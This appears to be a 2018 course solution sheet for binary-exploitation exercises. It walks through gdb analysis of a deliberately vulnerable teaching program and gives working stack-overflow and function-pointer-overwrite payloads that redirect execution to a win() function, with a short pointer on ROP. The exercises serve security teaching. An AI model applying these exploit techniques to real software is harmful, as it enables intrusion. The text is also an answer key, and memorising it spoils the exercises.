3. Solutions

ASI36

2018

1 Tweety Pie (twpie.c)

For all the questions, the objective is to print "Success". Basically this means redirecting the control-flow to call the win() function, since it is impossible to guess the secret – it is randomized at each run.

In my binary, it is located at 0x80487c9. You can find where yours is with gdb with the command p win.

1.1 Question 1

The easiest way (in the sense that it requires no specific value for n) is to let f pass through basic_check. In this case we only need overwrite the return address of basic_check with the one of win.

The only thing is to check how long the input string needs to be to exploit strcpy inside basic_check. disas basic_check inside gdb shows the following initial code. The stack frame is 0x14 + 0xc long (i.e., 32 bytes).

```
08048626 <+0>:        push   %ebp
08048627 <+1>:        mov    %esp,%ebp
08048629 <+3>:        push   %ebx
0804862a <+4>:        sub    $0x14,%esp
0804862d <+7>:        call   0x8048560 <__x86.get_pc_thunk.bx>
08048632 <+12>:        add    $0x19ce,%ebx
08048638 <+18>:        sub    $0xc,%esp
```

Also if you put a breakpoint at basic_check and step until after strcpy, you will see the return address pointing to f text region.

With the following run:

```
r 1 "AAAABBBBCCCCDDD"
```

The command x/8xw $esp shows the structure of the stack. Here, a little bit after the string we just entered, we find the value 0x080487c4

```
0xffffcec0:     0x41414141      0x42424242      0x43434343      0x00444444
0xffffced0:     0xf7f88c00      0x0804a000      0xffffcf08      0x080487c4
```

Doing `disas 0x080487c4` produces the disassembly for `f`. We see that this is the address right after `call *eax` (i.e., the call to the function pointer `check`).

So we need to overwrite `0x080487c4` with the address of `win`. We thus need 28 bytes of padding plus the 4 bytes for the address. This is done with:

```
run 1 $(python2 -c 'print "AAAABBBBCCCCDDDDEEEEFFFFGGGG\xc9\x87\x04\x08"')
```

1.2 Question 2

Now `basic_check` is protected but we know basic canaries do not protect functions with very small buffers. Indeed `basic_check` now includes the following code:

```
0804868b <+21>:        mov    %eax,-0x2c(%ebp)
0804868e <+24>:        mov    %gs:0x14,%eax
08048694 <+30>:        mov    %eax,-0xc(%ebp)
08048697 <+33>:        xor    %eax,%eax
```

whereas `easy_check` does not.

So we will apply the same reasoning as for Question 1.1, except this time `n` needs to be 42.

```
r 1 AAAABBBB
```

produces the following stack frame structure in `easy_check`

```
0xffffcec0:        0xffffd1f7        0x00000000        0x4141410a        0x42424241
0xffffced0:        0x08040042        0xffffcf60        0xffffcf08        0x08048858
```

where `0x08048858` is the return address. Thus we need to add 11 more bytes plus the return address to get "Success!", like so.

```
run 42 $(python2 -c 'print "AAAABBBBCCCCDDDDEEEE\xc9\x87\x04\x08"')
```

1.3 Question 3

Now all functions are protected against stack smashing. Exploits for Question 1.1 & 1.2 will not work anymore.

Let us turn to the last function reachable from `f` : `indirect_check` We need `n` to be `0xffffffff` i.e., `-1` to go there.

In the `strcpy` in this function, we see that if we can overwrite the function pointer `*f` with something of our choosing, i.e., the address of `win`, then `f` will be executed.

After having inserted a break point at `indirect_check` and running until its execution

```
r -1 AAAABBBB
```

We can see where the fields are located relatively to each other:

```
p cck.f  ; (int (**)(char *)) 0xffffcea8
p.cck.s  ; (char (*)[16]) 0xffffce98
```

We can see that `f` is 16 bytes above `s`. That means, in order to rewrite `f` we need 16 bytes of junk padding the the address of `win`. In my binary, `win` is at `0x80488e2`.

Therefore the input:

```
r -1 $(python2 -c 'print "AAAABBBBCCCCDDDD\xe2\x88\x04\x08"')
```

is enough to redirect the execution to `win`.

1.4 Question 4

Of course it works, we have not even executed anything in any of the other problems :-)

2 ROP (`roppable.c`)

2.1 Question 2

The answer can be found at the following url:
`http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html`

There is a twist to finding `magic1`. You can use the fact that $x \oplus y = z \Rightarrow x = z \oplus y$ to find it.